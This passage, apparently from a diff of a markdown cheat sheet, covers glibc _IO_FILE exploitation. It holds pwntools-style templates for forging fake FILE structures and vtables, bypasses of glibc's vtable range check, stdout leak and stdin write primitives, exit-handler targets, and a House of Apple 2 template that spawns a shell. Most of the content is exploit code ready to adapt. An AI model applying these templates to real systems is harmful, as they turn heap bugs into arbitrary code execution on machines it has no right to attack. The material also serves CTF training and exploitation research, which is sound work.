_IO_OVERFLOW(fp, EOF); // calls vtable->__overflow
|
|
52
|
+
}
|
|
53
|
+
```
|
|
54
|
+
|
|
55
|
+
### Fake FILE Template
|
|
56
|
+
|
|
57
|
+
```python
|
|
58
|
+
fake_file = b''
|
|
59
|
+
fake_file += p64(0) # _flags: set to pass checks
|
|
60
|
+
fake_file += p64(0) * 3 # _IO_read_ptr/end/base
|
|
61
|
+
fake_file += p64(0) # _IO_write_base = 0
|
|
62
|
+
fake_file += p64(1) # _IO_write_ptr = 1 (> write_base)
|
|
63
|
+
fake_file += p64(0) * 2 # _IO_write_end, _IO_buf_base
|
|
64
|
+
fake_file += p64(0) # _IO_buf_end
|
|
65
|
+
fake_file += p64(0) * 4 # _IO_save_base to _IO_backup_base
|
|
66
|
+
fake_file += p64(0) # _IO_save_end
|
|
67
|
+
fake_file += p64(0) # _markers
|
|
68
|
+
fake_file += p64(0) # _chain
|
|
69
|
+
fake_file += p32(0) + p32(0) # _fileno + _flags2
|
|
70
|
+
fake_file += p64(0) # _old_offset
|
|
71
|
+
fake_file += p64(0) # _cur_column + _vtable_offset + _shortbuf
|
|
72
|
+
fake_file += p64(lock_addr) # _lock (must be valid writable addr with NULL)
|
|
73
|
+
fake_file = fake_file.ljust(0xc0, b'\x00')
|
|
74
|
+
fake_file += p64(0) # _mode = 0 (byte mode)
|
|
75
|
+
fake_file = fake_file.ljust(0xd8, b'\x00')
|
|
76
|
+
fake_file += p64(fake_vtable_addr) # vtable pointer
|
|
77
|
+
```
|
|
78
|
+
|
|
79
|
+
---
|
|
80
|
+
|
|
81
|
+
## 3. VTABLE HIJACK
|
|
82
|
+
|
|
83
|
+
### Pre-glibc 2.24: Direct Vtable Overwrite
|
|
84
|
+
|
|
85
|
+
Forge a fake vtable at controlled address, set `__overflow` entry to target function (e.g., `system`).
|
|
86
|
+
|
|
87
|
+
```python
|
|
88
|
+
fake_vtable = p64(0) * 3 # padding (entries before __overflow)
|
|
89
|
+
fake_vtable += p64(system_addr) # __overflow at vtable+0x18
|
|
90
|
+
# Set fp->vtable = &fake_vtable
|
|
91
|
+
# fp is first arg to __overflow, so fp starts with "/bin/sh\x00" → system("/bin/sh...")
|
|
92
|
+
```
|
|
93
|
+
|
|
94
|
+
### Post-glibc 2.24: Vtable Range Check
|
|
95
|
+
|
|
96
|
+
```c
|
|
97
|
+
// _IO_vtable_check: vtable must be within [__libc_IO_vtables, __libc_IO_vtables + size]
|
|
98
|
+
// If outside range → abort()
|
|
99
|
+
```
|
|
100
|
+
|
|
101
|
+
**Bypass strategies**:
|
|
102
|
+
|
|
103
|
+
| Method | glibc Range | Technique |
|
|
104
|
+
|---|---|---|
|
|
105
|
+
| `_IO_str_jumps` | 2.24–2.27 | Point vtable to `_IO_str_jumps` (within valid range), use `_IO_str_overflow` as gadget |
|
|
106
|
+
| `_IO_wfile_jumps` | ≥ 2.28 | Wide-char vtable indirection through `_wide_data->_wide_vtable` (no range check on wide vtable) |
|
|
107
|
+
| `_IO_wstr_jumps` | ≥ 2.28 | Similar to wfile, via wide-string operations |
|
|
108
|
+
| `_IO_cookie_jumps` | Specific versions | Cookie FILE has function pointers XOR'd with pointer guard |
|
|
109
|
+
|
|
110
|
+
---
|
|
111
|
+
|
|
112
|
+
## 4. _IO_str_jumps EXPLOITATION (glibc 2.24–2.27)
|
|
113
|
+
|
|
114
|
+
`_IO_str_overflow` calls `malloc` and `memcpy` based on FILE fields → can redirect to `system`.
|
|
115
|
+
|
|
116
|
+
```c
|
|
117
|
+
// Simplified _IO_str_overflow:
|
|
118
|
+
new_size = 2 * ((_IO_buf_end - _IO_buf_base) + 100);
|
|
119
|
+
new_buf = malloc(new_size); // if we overwrite (fp+0xe0) = system, this calls system
|
|
120
|
+
```
|
|
121
|
+
|
|
122
|
+
Alternative: `_IO_str_finish` calls `fp->_s._free_buffer(fp->_IO_buf_base)`:
|
|
123
|
+
|
|
124
|
+
```python
|
|
125
|
+
# Set _IO_buf_base = "/bin/sh" address
|
|
126
|
+
# Set _s._free_buffer = system
|
|
127
|
+
# vtable = _IO_str_jumps (valid range)
|
|
128
|
+
# Trigger fclose/exit → _IO_str_finish → system("/bin/sh")
|
|
129
|
+
```
|
|
130
|
+
|
|
131
|
+
---
|
|
132
|
+
|
|
133
|
+
## 5. STDOUT ARBITRARY READ (LIBC LEAK)
|
|
134
|
+
|
|
135
|
+
Corrupt `_IO_2_1_stdout_` to leak arbitrary memory when the program calls `puts`/`printf`.
|
|
136
|
+
|
|
137
|
+
### Technique
|
|
138
|
+
|
|
139
|
+
```python
|
|
140
|
+
# Overwrite stdout fields:
|
|
141
|
+
_flags = 0xfbad1800 # _IO_MAGIC | _IO_IS_FILEBUF | _IO_CURRENTLY_PUTTING
|
|
142
|
+
_IO_read_ptr = 0 # zeroed
|
|
143
|
+
_IO_read_end = 0 # zeroed
|
|
144
|
+
_IO_read_base = 0 # zeroed
|
|
145
|
+
_IO_write_base = target_addr # ← start of leak
|
|
146
|
+
_IO_write_ptr = target_addr + leak_size # ← end of leak
|
|
147
|
+
# Next puts/printf outputs bytes from [write_base, write_ptr)
|
|
148
|
+
```
|
|
149
|
+
|
|
150
|
+
### Partial Overwrite Variant (No Full Libc Leak Yet)
|
|
151
|
+
|
|
152
|
+
Overwrite only the last 2 bytes of `_IO_write_base` (e.g., `\x00\x00`) to leak from a nearby lower address → often leaks libc addresses from the FILE structure itself.
|
|
153
|
+
|
|
154
|
+
```python
|
|
155
|
+
# stdout is at libc+offset, only last 1.5 bytes differ from heap chunk
|
|
156
|
+
# Partial overwrite of _IO_write_base's last byte to \x00 → leaks backward
|
|
157
|
+
```
|
|
158
|
+
|
|
159
|
+
---
|
|
160
|
+
|
|
161
|
+
## 6. STDIN ARBITRARY WRITE
|
|
162
|
+
|
|
163
|
+
Corrupt `_IO_2_1_stdin_` to make `scanf`/`fgets`/`getchar` write to arbitrary memory.
|
|
164
|
+
|
|
165
|
+
```python
|
|
166
|
+
# Set stdin fields:
|
|
167
|
+
_IO_buf_base = target_write_addr
|
|
168
|
+
_IO_buf_end = target_write_addr + write_size
|
|
169
|
+
_IO_read_ptr = target_write_addr # equal to _IO_read_end to trigger refill
|
|
170
|
+
_IO_read_end = target_write_addr
|
|
171
|
+
# Next scanf/fgets reads user input into [buf_base, buf_end)
|
|
172
|
+
```
|
|
173
|
+
|
|
174
|
+
---
|
|
175
|
+
|
|
176
|
+
## 7. _IO_FILE IN EXIT() FLOW
|
|
177
|
+
|
|
178
|
+
### Execution Path in exit()
|
|
179
|
+
|
|
180
|
+
```
|
|
181
|
+
exit()
|
|
182
|
+
→ __run_exit_handlers()
|
|
183
|
+
→ _IO_cleanup()
|
|
184
|
+
→ _IO_flush_all_lockp() ← iterates _IO_list_all
|
|
185
|
+
→ _IO_OVERFLOW(fp, EOF) ← for each FILE meeting flush condition
|
|
186
|
+
```
|
|
187
|
+
|
|
188
|
+
### Modern Targets in __run_exit_handlers (glibc ≥ 2.34)
|
|
189
|
+
|
|
190
|
+
| Target | Location | Mechanism |
|
|
191
|
+
|---|---|---|
|
|
192
|
+
| `__exit_funcs` | libc .data | Linked list of function pointers called during exit |
|
|
193
|
+
| `_IO_list_all` | libc .data | FSOP via _IO_flush_all_lockp |
|
|
194
|
+
| `tls_dtor_list` | TLS (thread-local) | Destructor list, XOR'd with `__pointer_chk_guard` |
|
|
195
|
+
| `_dl_fini` | ld.so | Calls DT_FINI_ARRAY entries from link_map |
|
|
196
|
+
|
|
197
|
+
### __exit_funcs Pointer Mangling
|
|
198
|
+
|
|
199
|
+
```c
|
|
200
|
+
// Function pointers in exit_funcs are mangled:
|
|
201
|
+
// stored = (ptr >> 0x11 | ptr << (64-0x11)) ^ __pointer_chk_guard
|
|
202
|
+
// To forge: need to know/leak __pointer_chk_guard (at fs:[0x30])
|
|
203
|
+
```
|
|
204
|
+
|
|
205
|
+
---
|
|
206
|
+
|
|
207
|
+
## 8. PRACTICAL EXPLOITATION TEMPLATE
|
|
208
|
+
|
|
209
|
+
### FSOP + House of Apple 2 (glibc ≥ 2.34)
|
|
210
|
+
|
|
211
|
+
```python
|
|
212
|
+
# 1. Achieve arbitrary write via largebin attack or other primitive
|
|
213
|
+
# 2. Write heap address to _IO_list_all (or corrupt stderr->_chain)
|
|
214
|
+
# 3. At heap address, forge _IO_FILE:
|
|
215
|
+
|
|
216
|
+
fake = FileStructure()
|
|
217
|
+
fake._flags = 0 # or specific value to pass checks
|
|
218
|
+
fake._IO_write_ptr = 1 # > _IO_write_base (=0) to trigger flush
|
|
219
|
+
fake._mode = 1 # > 0 → use wide path
|
|
220
|
+
fake._lock = heap_addr + 0x100 # valid lock (writable, contains 0)
|
|
221
|
+
fake._wide_data = heap_addr + 0x200 # points to controlled wide_data
|
|
222
|
+
|
|
223
|
+
# At heap_addr + 0x200: forge _IO_wide_data
|
|
224
|
+
wide_data = b'\x00' * 0x20
|
|
225
|
+
wide_data += p64(1) # _IO_write_ptr = 1
|
|
226
|
+
wide_data = wide_data.ljust(0xe0, b'\x00')
|
|
227
|
+
wide_data += p64(heap_addr + 0x300) # _wide_vtable → fake wide vtable
|
|
228
|
+
|
|
229
|
+
# At heap_addr + 0x300: forge wide vtable
|
|
230
|
+
# __overflow is at vtable + 0x18
|
|
231
|
+
wide_vtable = p64(0) * 3
|
|
232
|
+
wide_vtable += p64(magic_gadget) # __overflow → setcontext+53 or system
|
|
233
|
+
|
|
234
|
+
# 4. Trigger exit() → shell
|
|
235
|
+
```
|
|
236
|
+
|
|
237
|
+
---
|
|
238
|
+
|
|
239
|
+
## 9. DECISION TREE
|
|
240
|
+
|
|
241
|
+
```
|
|
242
|
+
Need _IO_FILE exploitation?
|
|
243
|
+
├── Goal: Leak memory without explicit output?
|
|
244
|
+
│ └── Corrupt stdout._IO_write_base → automatic leak on next I/O
|
|
245
|
+
├── Goal: Arbitrary write via I/O?
|
|
246
|
+
│ └── Corrupt stdin._IO_buf_base → next input writes to target
|
|
247
|
+
├── Goal: Code execution via FSOP?
|
|
248
|
+
│ ├── glibc < 2.24 → direct vtable overwrite
|
|
249
|
+
│ ├── glibc 2.24–2.27 → _IO_str_jumps or _IO_str_finish
|
|
250
|
+
│ ├── glibc 2.28–2.33 → _IO_wfile_jumps (wide-char path)
|
|
251
|
+
│ └── glibc ≥ 2.34 → House of Apple 2 / House of Cat
|
|
252
|
+
└── Trigger method?
|
|
253
|
+
├── exit() / return from main → _IO_flush_all_lockp
|
|
254
|
+
├── malloc abort (corruption) → _IO_flush_all_lockp
|
|
255
|
+
└── Explicit fclose(fp) → _IO_FINISH via vtable
|
|
256
|
+
```
|